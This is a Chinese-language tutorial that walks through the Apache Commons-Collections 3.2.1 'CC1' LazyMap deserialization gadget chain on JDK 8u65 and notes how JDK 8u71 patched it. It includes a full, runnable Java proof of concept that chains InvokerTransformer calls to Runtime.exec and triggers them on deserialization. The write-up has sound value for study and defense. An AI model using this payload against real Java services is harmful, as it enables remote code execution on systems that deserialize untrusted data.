CC1-LazyMap链

先看TransformdMap链

实验环境: JDK-8u65、commons-collections 3.2.1

在ysoserialize工具中的链子使用LazyMap来构造链子的,接下来分析一下LazyMap这条链子。后面调用InvokerTransformer类的利用点都是一样的。

image-20240423235729641

跟踪到LzyMap类中:进入到IF判断后,调用factory的transform方法;要想进入到IF判断,那么key不能在map集合中;

image-20240423235751132

factory参数是Transform类型的,可以控制,传参为chainedTransformer,就可以把后面的RCE链起来。

image-20240423235805150

接下来就是找哪里调用到了get方法(不同类中的同名方法),其实在AnnotationInvocationHandler类中就有get方法

通过搜索,有5处调用了get方法。分别是inovke、equalsImpl、readObject方法中调用了get方法,分析发现readObject中的get方法无法利用,因为memberTypes参数无法控制,都是注解的成员方法,无法传入LazyMap对象。

image-20240423235828457

这条链子利用的是invoke方法,因为这条链子用到了动态代理(在反序列化利用链中的场景:不管调用目标类的什么方法,只要有方法调用 ,都会触发InvocationHandler接口实现类中的invoke方法)

刚好的是AnnotationInvocationHandler类就是InvocationHandler接口的实现类,并且按照动态代理的概念,可以在实现类中重写invoke方法并增加目标类的功能点。

分析invoke方法:里面的get方法是通过memberValues参数调用的,而该memberValues参数通过构造方法获得,我们可控,只需传入LazyMap对象即可链起来

image-20240423235844266

那么现在的问题就是:如何触发invoke方法,并且还需要在反序列化时必须调用目标类的某个方法,才能触发invoke方法,最后把链子连起来

看一下AnnotationInvocationHandler类的readObject方法有没有能利用的点:可控参数memberValues调用了entrySet方法

image-20240423235904888

分析:该方法是Map接口中的一个方法,返回映射中包含的映射的 Set 视图。Set 视图意思是 Map 中所有的键值对都被看作是一个 set 集合。

image-20240423235918779

而利用类LazyMap刚好是有间接的继承关系的,相当于说LazyMap类继承了entrySet方法,那么此处就可以作为触发invoke方法的点

image-20240423235934358

思路大概就是:

  1. AnnotationInvocationHandler.readObject
  2. $Proxy1.entrySet(动态代理自动生成,目标类:LazyMap)
  3. AnnotationInvocationHandler.invoke
  4. LazyMap.get

执行顺序:

1.AnnotationInvocationHandler.readObject 执行到 for (Map.Entry memberValue : memberValues.entrySet()) 进入动态代理。

2.动态代理调用AnnotationInvocationHandler.invoke ,然后执行到了memberValues.get(member); 就跳转到 LazyMap.get()

3.LazyMap.get() 调用factory.transform(),连上链子,从而实现命令执行

编写POC,还是利用LazyMap的静态方法decorate方法来创建对象,并控制该对象传入的参数

image-20240423235950723

POC分析:

创建2个实现类AnnotationInvocationHandler的对象,第二个对象的第二个参数传入代理对象,调用目标类的entrySet方法,从而触发invoke方法调用

35行的HashMap也不需要传入内容,定义即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

/**
* @author shiyingai
* @create 2023-03-07 13:02
*/
public class CC2 {
public static void main(String[] args) throws Exception {

Transformer[] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class), // 必须写在第一行,先获得Runtime类
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
// 以上代码是为了实现Runtime参与序列化,反射调用RCE



Map<Object,Object> map = new HashMap<>();

Map<Object,Object> decorateMap = LazyMap.decorate(map,chainedTransformer); // 返回一个LazyMap对象,返回类型是一个Map

Class annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class,decorateMap); // 创捷实现类AnnotationInvocationHandler对象

Map proxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler); // 创建代理对象,因为实现类AnnotationInvocationHandler第二个参数是Map类型,所以强转成Map类型
// 第二种写法:因为继承关系,所以直接就是写Map类即可
// Map proxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},handler);

Object object = annotationInvocationHandlerConstructor.newInstance(Target.class,proxy); // 传入代理对象,调用目标类的entrySet方法,从而触发invoke方法调用



// 对AnnotationInvocationHandler类进行序列化
serialize(object);

// 对AnnotationInvocationHandler类进行反序列化
unserialize("ser.bin");
}

// 序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

// 反序列化
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

注意:

  • 引入动态代理的条件

    • 实现 InvocationHandler 接口
    • 重写invoke()方法
  • 动态代理是可以被序列化的

image-20240424000027262

执行POC

image-20240424000042036

JDK8u71修复内容

image-20240424000106052

image-20240424000128322

分析:

memberValues参数是通过过GetField获取,无法控制。针对TransformdMap链的setValue方法也直接没有了。